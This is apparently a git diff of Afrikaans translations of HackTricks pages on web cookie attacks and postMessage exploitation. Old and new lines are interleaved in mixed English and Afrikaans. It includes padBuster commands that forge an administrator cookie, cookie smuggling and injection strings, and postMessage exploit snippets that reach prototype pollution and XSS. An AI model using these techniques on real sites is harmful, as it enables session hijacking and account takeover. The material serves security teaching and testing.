| Vorm GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
| Vorm POST | \<form method="POST" action="..."> | NotSet\*, None |
| Form GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
| Form POST | \<form method="POST" action="..."> | NotSet\*, None |
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
| AJAX | $.get("...") | NotSet\*, None |
| Beeld | \<img src="..."> | NetSet\*, None |
| Image | \<img src="..."> | NetSet\*, None |
Tabel van [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) en effens gewysig.\
'n Koekie met _**SameSite**_ attribuut sal **CSRF-aanvalle** **verlig** waar 'n ingelogde sessie nodig is.
'n Koekie met _**SameSite**_ eienskap sal **CSRF-aanvalle** **verlig** waar 'n ingelogde sessie nodig is.
**\*Let daarop dat vanaf Chrome80 (feb/2019) die standaard gedrag van 'n koekie sonder 'n koekie samesite** **attribuut sal lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Let daarop dat tydelik, na die toepassing van hierdie verandering, die **koekies sonder 'n SameSite** **beleid** in Chrome sal **behandel word as Geen** gedurende die **eerste 2 minute en dan as Lax vir topvlak kruis-web POST versoek.**
**\*Let daarop dat vanaf Chrome80 (feb/2019) die standaard gedrag van 'n koekie sonder 'n koekie samesite** **eienskap sal lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Let daarop dat tydelik, na die toepassing van hierdie verandering, die **koekies sonder 'n SameSite** **beleid** in Chrome sal **behandel word as None** gedurende die **eerste 2 minute en dan as Lax vir top-level cross-site POST versoek.**
## Koekies Vlaggies
## Cookies Flags
### HttpOnly
Dit verhoed die **klient** om toegang tot die koekie te verkry (Via **Javascript** byvoorbeeld: `document.cookie`)
Dit verhoed dat die **klient** toegang tot die koekie het (Via **Javascript** byvoorbeeld: `document.cookie`)
#### **Omseilings**
#### **Bypasses**
* As die bladsy **die koekies as die antwoord** van 'n versoek stuur (byvoorbeeld in 'n **PHPinfo** bladsy), is dit moontlik om die XSS te misbruik om 'n versoek na hierdie bladsy te stuur en **die koekies** uit die antwoord te **steel** (kyk 'n voorbeeld in [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
* Dit kan omseil word met **TRACE** **HTTP** versoeke aangesien die antwoord van die bediener (as hierdie HTTP metode beskikbaar is) die koekies wat gestuur is, sal weerspieël. Hierdie tegniek word **Cross-Site Tracking** genoem.
* Hierdie tegniek word vermy deur **moderne blaaiers deur nie toe te laat om 'n TRACE** versoek van JS te stuur. Daar is egter sekere omseilings in spesifieke sagteware gevind, soos om `\r\nTRACE` in plaas van `TRACE` na IE6.0 SP2 te stuur.
* 'n Ander manier is die uitbuiting van nul/dag kwesbaarhede van die blaaiers.
* Dit is moontlik om **HttpOnly koekies** te **oorskry** deur 'n Koekie Jar overflow aanval uit te voer:
* Hierdie tegniek word vermy deur **moderne blaaiers deur nie toe te laat om 'n TRACE** versoek van JS te stuur. Tog is daar sekere omseilings in spesifieke sagteware gevind, soos om `\r\nTRACE` in plaas van `TRACE` na IE6.0 SP2 te stuur.
* 'n Ander manier is die uitbuiting van zero/day kwesbaarhede van die blaaiers.
* Dit is moontlik om **HttpOnly koekies** te **oorwrite** deur 'n Cookie Jar overflow aanval uit te voer:
{% content-ref url="cookie-jar-overflow.md" %}
[cookie-jar-overflow.md](cookie-jar-overflow.md)
@ -91,26 +84,26 @@ Dit verhoed die **klient** om toegang tot die koekie te verkry (Via **Javascript
* Dit is moontlik om [**Cookie Smuggling**](./#cookie-smuggling) aanval te gebruik om hierdie koekies te ekfiltreer.
### Veilige
### Secure
Die versoek sal **slegs** die koekie in 'n HTTP versoek stuur as die versoek oor 'n veilige kanaal (tipies **HTTPS**) oorgedra word.
## Koekies Vooraf
## Cookies Prefixes
Koekies wat met `__Secure-` geaffilieer is, moet saam met die `secure` vlag van bladsye wat deur HTTPS beveilig is, ingestel word.
Koekies wat met `__Secure-` begin, moet saam met die `secure` vlag van bladsye wat deur HTTPS beveilig is, ingestel word.
Vir koekies wat met `__Host-` geaffilieer is, moet verskeie voorwaardes nagekom word:
Vir koekies wat met `__Host-` begin, moet verskeie voorwaardes nagekom word:
* Hulle moet met die `secure` vlag ingestel word.
* Hulle moet afkomstig wees van 'n bladsy wat deur HTTPS beveilig is.
* Hulle is verbode om 'n domein te spesifiseer, wat hul oordrag na subdomeine voorkom.
* Die pad vir hierdie koekies moet op `/` ingestel wees.
Dit is belangrik om op te let dat koekies wat met `__Host-` geaffilieer is, nie toegelaat word om na superdomeine of subdomeine gestuur te word nie. Hierdie beperking help om toepassingskoekies te isoleer. Dus, om die `__Host-` voorvoegsel vir alle toepassingskoekies te gebruik, kan beskou word as 'n goeie praktyk om sekuriteit en isolasie te verbeter.
Dit is belangrik om daarop te let dat koekies wat met `__Host-` begin, nie toegelaat word om na superdomeine of subdomeine gestuur te word nie. Hierdie beperking help om toepassingskoekies te isoleer. Dus, om die `__Host-` voorvoegsel vir alle toepassingskoekies te gebruik, kan beskou word as 'n goeie praktyk om sekuriteit en isolasie te verbeter.
### Oorskry van koekies
### Overwriting cookies
So, een van die beskermings van `__Host-` geaffilieerde koekies is om te voorkom dat hulle oorgeskryf word vanaf subdomeine. Dit voorkom byvoorbeeld [**Cookie Tossing aanvalle**](cookie-tossing.md). In die praatjie [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**papier**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) word aangebied dat dit moontlik was om \_\_HOST- geaffilieerde koekies vanaf subdomein in te stel, deur die parser te bedrieg, byvoorbeeld, om "=" aan die begin of aan die begin en die einde toe te voeg...:
So, een van die beskermings van `__Host-` voorvoegsel koekies is om te voorkom dat hulle van subdomeine oorgeskryf word. Dit voorkom byvoorbeeld [**Cookie Tossing aanvalle**](cookie-tossing.md). In die praatjie [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) word aangebied dat dit moontlik was om \_\_HOST- voorvoegsel koekies van subdomein in te stel, deur die parser te bedrieg, byvoorbeeld, om "=" aan die begin of aan die begin en die einde toe te voeg...:
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
@ -118,19 +111,19 @@ Of in PHP was dit moontlik om **ander karakters aan die begin** van die koekie n
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt="" width="373"><figcaption></figcaption></figure>
## Koekies Aanvalle
## Cookies Attacks
As 'n pasgemaakte koekie sensitiewe data bevat, kyk daarna (veral as jy 'n CTF speel), aangesien dit kwesbaar mag wees.
### Dekodering en Manipulering van Koekies
### Decoding and Manipulating Cookies
Sensitiewe data wat in koekies ingebed is, moet altyd ondersoek word. Koekies wat in Base64 of soortgelyke formate geënkodeer is, kan dikwels gedekodeer word. Hierdie kwesbaarheid laat aanvallers toe om die koekie se inhoud te verander en ander gebruikers na te boots deur hul gewysigde data weer in die koekie te kodeer.
Sensitiewe data wat in koekies ingebed is, moet altyd ondersoek word. Koekies wat in Base64 of soortgelyke formate gekodeer is, kan dikwels ontleed word. Hierdie kwesbaarheid laat aanvallers toe om die koekie se inhoud te verander en ander gebruikers na te boots deur hul gewysigde data terug in die koekie te kodeer.
### Sessiediefstal
### Session Hijacking
Hierdie aanval behels die steel van 'n gebruiker se koekie om ongeoorloofde toegang tot hul rekening binne 'n toepassing te verkry. Deur die gesteelde koekie te gebruik, kan 'n aanvaller die wettige gebruiker naboots.
### Sessiefiksasie
### Session Fixation
In hierdie scenario bedrieg 'n aanvaller 'n slagoffer om 'n spesifieke koekie te gebruik om in te log. As die toepassing nie 'n nuwe koekie toeken nie wanneer daar ingelog word, kan die aanvaller, wat die oorspronklike koekie besit, die slagoffer naboots. Hierdie tegniek staat op die slagoffer wat inlog met 'n koekie wat deur die aanvaller verskaf is.
@ -140,7 +133,7 @@ As jy 'n **XSS in 'n subdomein** gevind het of jy **beheer 'n subdomein**, lees:
[cookie-tossing.md](cookie-tossing.md)
{% endcontent-ref %}
### Sessiedonasie
### Session Donation
Hier oortuig die aanvaller die slagoffer om die aanvaller se sessie koekie te gebruik. Die slagoffer, wat glo dat hulle in hul eie rekening ingelog is, sal onbewustelik aksies in die konteks van die aanvaller se rekening uitvoer.
@ -150,17 +143,17 @@ As jy 'n **XSS in 'n subdomein** gevind het of jy **beheer 'n subdomein**, lees:
[cookie-tossing.md](cookie-tossing.md)
{% endcontent-ref %}
### [JWT Koekies](../hacking-jwt-json-web-tokens.md)
### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
Klik op die vorige skakel om toegang te verkry tot 'n bladsy wat moontlike gebreke in JWT verduidelik.
Klik op die vorige skakel om toegang te verkry tot 'n bladsy wat moontlike foute in JWT verduidelik.
JSON Web Tokens (JWT) wat in koekies gebruik word, kan ook kwesbaarhede hê. Vir diepgaande inligting oor potensiële gebreke en hoe om dit te benut, word dit aanbeveel om die gekoppelde dokument oor die hacking van JWT te raadpleeg.
JSON Web Tokens (JWT) wat in koekies gebruik word, kan ook kwesbaarhede hê. Vir diepgaande inligting oor potensiële foute en hoe om dit te benut, word dit aanbeveel om die gekoppelde dokument oor die hacking van JWT te raadpleeg.
### Kruis-web Versoek Forgery (CSRF)
### Cross-Site Request Forgery (CSRF)
Hierdie aanval dwing 'n ingelogde gebruiker om ongewenste aksies op 'n webtoepassing uit te voer waarin hulle tans geverifieer is. Aanvallers kan koekies wat outomaties met elke versoek na die kwesbare webwerf gestuur word, benut.
### Leë Koekies
### Empty Cookies
(Kyk na verdere besonderhede in die [oorspronklike navorsing](https://blog.ankursundara.com/cookie-bugs/)) Blaaiers laat die skepping van koekies sonder 'n naam toe, wat deur JavaScript soos volg demonstreer kan word:
```js
@ -176,11 +169,11 @@ document.cookie = `${name}=${value}`;
setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's value
```
Dit lei daartoe dat die blaaskas 'n koekie-kop stuur wat deur elke webbediener geïnterpreteer word as 'n koekie met die naam `a` en 'n waarde `b`.
Dit lei daartoe dat die blaaiert 'n koekie-kopstuk stuur wat deur elke webbediener geïnterpreteer word as 'n koekie met die naam `a` en 'n waarde `b`.
#### Chrome Fout: Unicode Surrogate Codepoint Probleem
In Chrome, as 'n Unicode surrogate codepoint deel is van 'n stel koekie, word `document.cookie` beskadig, wat 'n leë string teruggee.
In Chrome, as 'n Unicode surrogate codepoint deel is van 'n stel koekie, word `document.cookie` beskadig, wat 'n leë string teruggee:
```js
document.cookie = "\ud800=meep";
```
@ -188,13 +181,13 @@ This results in `document.cookie` outputting an empty string, indicating permane
#### Cookie Smuggling as gevolg van Parsing Probleme
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Verskeie webbedieners, insluitend dié van Java (Jetty, TomCat, Undertow) en Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), hanteer koekie stringe verkeerd as gevolg van verouderde RFC2965 ondersteuning. Hulle lees 'n dubbel-aanhaling koekiewaarde as 'n enkele waarde, selfs al sluit dit puntkomma's in, wat normaalweg sleutel-waarde pare moet skei:
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Verskeie webbedieners, insluitend dié van Java (Jetty, TomCat, Undertow) en Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), hanteer koekie stringe verkeerd as gevolg van verouderde RFC2965 ondersteuning. Hulle lees 'n dubbel-aanhaling koekiewaarde as 'n enkele waarde, selfs al sluit dit puntkommas in, wat normaalweg sleutel-waarde pare moet skei:
```
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
```
#### Koekie-inspuitingskw vulnerabilities
#### Cookie Injection Kw vulnerabilities
(Kyk na verdere besonderhede in die [oorspronklike navorsing](https://blog.ankursundara.com/cookie-bugs/)) Die onakkurate ontleding van koekies deur bedieners, veral Undertow, Zope, en dié wat Python se `http.cookie.SimpleCookie` en `http.cookie.BaseCookie` gebruik, skep geleenthede vir koekie-inspuitingsaanvalle. Hierdie bedieners slaag nie daarin om die begin van nuwe koekies behoorlik te begrens nie, wat dit moontlik maak vir aanvallers om koekies na te maak:
(Kyk na verdere besonderhede in die [oorspronklike navorsing](https://blog.ankursundara.com/cookie-bugs/)) Die onkorrekte ontleding van koekies deur bedieners, veral Undertow, Zope, en dié wat Python se `http.cookie.SimpleCookie` en `http.cookie.BaseCookie` gebruik, skep geleenthede vir koekie-inspuitaanvalle. Hierdie bedieners slaag nie daarin om die begin van nuwe koekies behoorlik te begrens nie, wat dit moontlik maak vir aanvallers om koekies na te maak:
* Undertow verwag 'n nuwe koekie onmiddellik na 'n aangehaalde waarde sonder 'n puntkomma.
* Zope soek 'n komma om die volgende koekie te begin ontleed.
@ -206,7 +199,7 @@ Hierdie kwesbaarheid is veral gevaarlik in webtoepassings wat op koekie-gebaseer
#### **Basiese kontroles**
* Die **koekie** is die **selfde** elke keer wanneer jy **aanmeld**.
* Die **koekie** is die **dieselfde** elke keer wanneer jy **aanmeld**.
* Meld uit en probeer om dieselfde koekie te gebruik.
* Probeer om met 2 toestelle (of blaaiers) na dieselfde rekening aan te meld met dieselfde koekie.
* Kyk of die koekie enige inligting daarin het en probeer om dit te wysig.
@ -234,9 +227,9 @@ padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28E
```
Padbuster sal verskeie pogings maak en sal jou vra watter voorwaarde die foutvoorwaarde is (die een wat nie geldig is nie).
Dan sal dit begin om die koekie te dekripteer (dit kan 'n paar minute neem)
Dan sal dit begin om die koekie te ontsleutel (dit kan 'n paar minute neem)
As die aanval suksesvol uitgevoer is, kan jy probeer om 'n string van jou keuse te enkripteer. Byvoorbeeld, as jy **encrypt** **user=administrator** wil enkripteer.
As die aanval suksesvol uitgevoer is, kan jy probeer om 'n string van jou keuse te enkripteer. Byvoorbeeld, as jy **enkripteer** **user=administrator** wil.
```
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
```
@ -261,7 +254,7 @@ Wanneer jy aanmeld, moet die koekie wat jy ontvang altyd dieselfde wees.
Skep 2 gebruikers met byna dieselfde data (gebruikersnaam, wagwoord, e-pos, ens.) en probeer om 'n patroon binne die gegewe koekie te ontdek.
Skep 'n gebruiker genaamd byvoorbeeld "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" en kyk of daar enige patroon in die koekie is (aangesien ECB met dieselfde sleutel elke blok versleutelt, kan dieselfde versleutelde bytes verskyn as die gebruikersnaam versleuteld word).
Skep 'n gebruiker genoem byvoorbeeld "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" en kyk of daar enige patroon in die koekie is (aangesien ECB met dieselfde sleutel elke blok versleutelt, kan dieselfde versleutelde bytes verskyn as die gebruikersnaam versleuteld word).
Daar moet 'n patroon wees (met die grootte van 'n gebruikte blok). So, deur te weet hoe 'n klomp "a" versleuteld is, kan jy 'n gebruikersnaam skep: "a"\*(grootte van die blok)+"admin". Dan kan jy die versleutelde patroon van 'n blok van "a" uit die koekie verwyder. En jy sal die koekie van die gebruikersnaam "admin" hê.
@ -270,11 +263,6 @@ Daar moet 'n patroon wees (met die grootte van 'n gebruikte blok). So, deur te w
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -284,7 +272,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

View file

@ -17,19 +17,6 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
## Stuur **PostMessage**
@ -59,14 +46,14 @@ win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
```
Let wel dat **targetOrigin** 'n '\*' of 'n URL soos _https://company.com._ kan wees.\
Let wel, **targetOrigin** kan 'n '\*' of 'n URL soos _https://company.com._ wees.\
In die **tweede scenario** kan die **boodskap slegs na daardie domein gestuur word** (selfs al is die oorsprong van die venster objek anders).\
As die **wildcard** gebruik word, kan **boodskappe na enige domein gestuur word**, en sal dit na die oorsprong van die Window objek gestuur word.
### Aanval op iframe & wildcard in **targetOrigin**
Soos verduidelik in [**hierdie verslag**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), as jy 'n bladsy vind wat **iframed** kan word (geen `X-Frame-Header` beskerming nie) en wat **sensitiewe** boodskap via **postMessage** stuur met 'n **wildcard** (\*), kan jy die **oorsprong** van die **iframe** **wysig** en die **sensitiewe** boodskap na 'n domein wat deur jou beheer word **lek**.\
Let wel dat as die bladsy iframed kan word, maar die **targetOrigin** **op 'n URL en nie op 'n wildcard** gestel is nie, hierdie **truuk sal nie werk**.
Soos verduidelik in [**hierdie verslag**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), as jy 'n bladsy vind wat **iframed** kan word (geen `X-Frame-Header` beskerming nie) en wat **sensitiewe** boodskap via **postMessage** met 'n **wildcard** (\*) stuur, kan jy die **oorsprong** van die **iframe** **wysig** en die **sensitiewe** boodskap na 'n domein wat deur jou beheer word **lek**.\
Let wel, as die bladsy iframed kan word maar die **targetOrigin** is **gestel op 'n URL en nie op 'n wildcard nie**, sal hierdie **truuk nie werk nie**.
```markup
<html>
<iframe src="https://docs.google.com/document/ID" />
@ -93,27 +80,27 @@ return;
// ...
}, false);
```
Note in this case how the **first thing** that the code is doing is **checking the origin**. This is terribly **important** mainly if the page is going to do **anything sensitive** with the received information (like changing a password). **If it doesn't check the origin, attackers can make victims send arbitrary data to this endpoints** and change the victims passwords (in this example).
Note in hierdie geval hoe die **eerste ding** wat die kode doen is **om die oorsprong te kontroleer**. Dit is vreeslik **belangrik** veral as die bladsy **enigiets sensitiefs** met die ontvangde inligting gaan doen (soos om 'n wagwoord te verander). **As dit nie die oorsprong kontroleer nie, kan aanvallers slagoffers dwing om arbitrêre data na hierdie eindpunte te stuur** en die slagoffers se wagwoorde te verander (in hierdie voorbeeld).
### Enumeration
### Enumerasie
In order to **find event listeners** in the current page you can:
Om **gebeurtenisluisteraars** in die huidige bladsy te **vind** kan jy:
* **Search** the JS code for `window.addEventListener` and `$(window).on` (_JQuery version_)
* **Execute** in the developer tools console: `getEventListeners(window)`
* **Soek** die JS-kode vir `window.addEventListener` en `$(window).on` (_JQuery weergawe_)
* **Voer** in die ontwikkelaarstoele console uit: `getEventListeners(window)`
![](<../../.gitbook/assets/image (618) (1).png>)
* **Go to** _Elements --> Event Listeners_ in the developer tools of the browser
* **Gaan na** _Elements --> Event Listeners_ in die ontwikkelaarstoele van die blaaier
![](<../../.gitbook/assets/image (396).png>)
* Use a **browser extension** like [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) or [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). This browser extensions will **intercept all the messages** and show them to you.
* Gebruik 'n **blaaier uitbreiding** soos [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) of [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Hierdie blaaier uitbreidings sal **alle boodskappe onderskep** en dit aan jou wys.
### Origin check bypasses
### Oorsprong kontroleer omseilings
* **`event.isTrusted`** attribuut word as veilig beskou omdat dit `True` slegs teruggee vir gebeurtenisse wat deur werklike gebruikersaksies gegenereer word. Alhoewel dit uitdagend is om te omseil as dit korrek geïmplementeer is, is die belangrikheid daarvan in sekuriteitskontroles noemenswaardig.
* Die gebruik van **`indexOf()`** vir oorsprongvalidasie in PostMessage-gebeurtenisse mag vatbaar wees vir omseiling. 'n Voorbeeld wat hierdie kwesbaarheid illustreer is:
* **`event.isTrusted`** attribuut word as veilig beskou aangesien dit `True` slegs teruggee vir gebeurtenisse wat deur werklike gebruikersaksies gegenereer word. Alhoewel dit uitdagend is om te omseil as dit korrek geïmplementeer is, is die belangrikheid daarvan in sekuriteitskontroles noemenswaardig.
* Die gebruik van **`indexOf()`** vir oorsprong validasie in PostMessage gebeurtenisse mag vatbaar wees vir omseiling. 'n Voorbeeld wat hierdie kwesbaarheid illustreer is:
```javascript
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
@ -141,8 +128,8 @@ result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
```
In die konteks van hierdie kwesbaarheid, is die `File` objek merkwaardig uitbuitbaar weens sy leesbare `name` eienskap. Hierdie eienskap, wanneer in sjablone gebruik, word nie gesaniteer deur die `escapeHtml` funksie nie, wat lei tot potensiële sekuriteitsrisiko's.
* Die `document.domain` eienskap in JavaScript kan deur 'n skrip gestel word om die domein te verkort, wat meer ontspanne same oorsprong beleid afdwinging binne die selfde ouer domein moontlik maak.
In die konteks van hierdie kwesbaarheid is die `File` objek merkwaardig uitbuitbaar weens sy leesbare `name` eienskap. Hierdie eienskap, wanneer in sjablone gebruik, word nie deur die `escapeHtml` funksie gesaniteer nie, wat lei tot potensiële sekuriteitsrisiko's.
* Die `document.domain` eienskap in JavaScript kan deur 'n skrip gestel word om die domein te verkort, wat 'n meer ontspanne same oorsprong beleid afdwinging binne die selfde ouerdomein moontlik maak.
### e.origin == window.origin omseiling
@ -158,9 +145,9 @@ Vir meer inligting **lees**:
[bypassing-sop-with-iframes-1.md](bypassing-sop-with-iframes-1.md)
{% endcontent-ref %}
### Bypassing e.source
### Omseiling van e.source
Dit is moontlik om te kontroleer of die boodskap van dieselfde venster afkomstig was waar die skrip na luister (spesiaal interessant vir **Content Scripts van blaaiers** om te kontroleer of die boodskap van dieselfde bladsy gestuur is):
Dit is moontlik om te kontroleer of die boodskap van dieselfde venster afkomstig is waar die skrip na luister (spesiaal interessant vir **Inhoud Skrifte van blaaier uitbreidings** om te kontroleer of die boodskap van dieselfde bladsy gestuur is):
```javascript
// If its not, return immediately.
if( received_message.source !== window ) {
@ -177,7 +164,7 @@ Vir meer inligting **lees:**
### X-Frame-Header omseiling
Om hierdie aanvalle uit te voer, sal u idealiter in staat wees om die **slagoffer webblad** binne 'n `iframe` te plaas. Maar sommige koptekste soos `X-Frame-Header` kan daardie **gedrag** **voorkom**.\
Om hierdie aanvalle uit te voer, sal dit ideaal wees om die **slagoffer webblad** binne 'n `iframe` te kan plaas. Maar sommige koptekste soos `X-Frame-Header` kan daardie **gedrag** **voorkom**.\
In daardie scenario's kan u steeds 'n minder stealthy aanval gebruik. U kan 'n nuwe oortjie oopmaak na die kwesbare webtoepassing en met dit kommunikeer:
```markup
<script>
@ -195,7 +182,7 @@ In die volgende bladsy kan jy sien hoe jy 'n **sensitiewe postmessage data** wat
### Dief van boodskap deur iframe ligging te verander
As jy 'n webblad kan iframe sonder X-Frame-Header wat 'n ander iframe bevat, kan jy die **ligging van daardie kind iframe** **verander**, so as dit 'n **postmessage** ontvang wat met 'n **wildcard** gestuur is, kan 'n aanvaller daardie iframe **oorsprong** na 'n bladsy **gecontroleer** deur hom **verander** en die boodskap **steel**:
As jy 'n webblad kan iframe sonder X-Frame-Header wat 'n ander iframe bevat, kan jy die **ligging van daardie kind iframe** **verander**, so as dit 'n **postmessage** ontvang wat met 'n **wildcard** gestuur is, kan 'n aanvaller daardie iframe **oorsprong** na 'n bladsy **gebeheer** deur hom verander en die boodskap **steel**:
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
@ -203,11 +190,11 @@ As jy 'n webblad kan iframe sonder X-Frame-Header wat 'n ander iframe bevat, kan
### postMessage na Prototype Pollution en/of XSS
In scenario's waar die data wat deur `postMessage` gestuur word, deur JS uitgevoer word, kan jy die **bladsy** **iframe** en die **prototype pollution/XSS** **ontgin** deur die ontginning via `postMessage` te stuur.
In scenario's waar die data wat deur `postMessage` gestuur word, deur JS uitgevoer word, kan jy die **bladsy** **iframe** en die **prototype pollution/XSS** **ontgin** deur die eksploiet via `postMessage` te stuur.
'n Paar **baie goed verduidelikde XSS deur `postMessage`** kan gevind word in [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
Voorbeeld van 'n ontginning om **Prototype Pollution en dan XSS** deur 'n `postMessage` na 'n `iframe` te misbruik:
Voorbeeld van 'n eksploiet om **Prototype Pollution en dan XSS** deur 'n `postMessage` na 'n `iframe` te misbruik:
```html
<html>
<body>
@ -235,17 +222,6 @@ For **meer inligting**:
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
* Om te oefen: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -255,9 +231,9 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<summary>Ondersteun HackTricks</summary>
* Kontroleer die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -10,30 +10,17 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
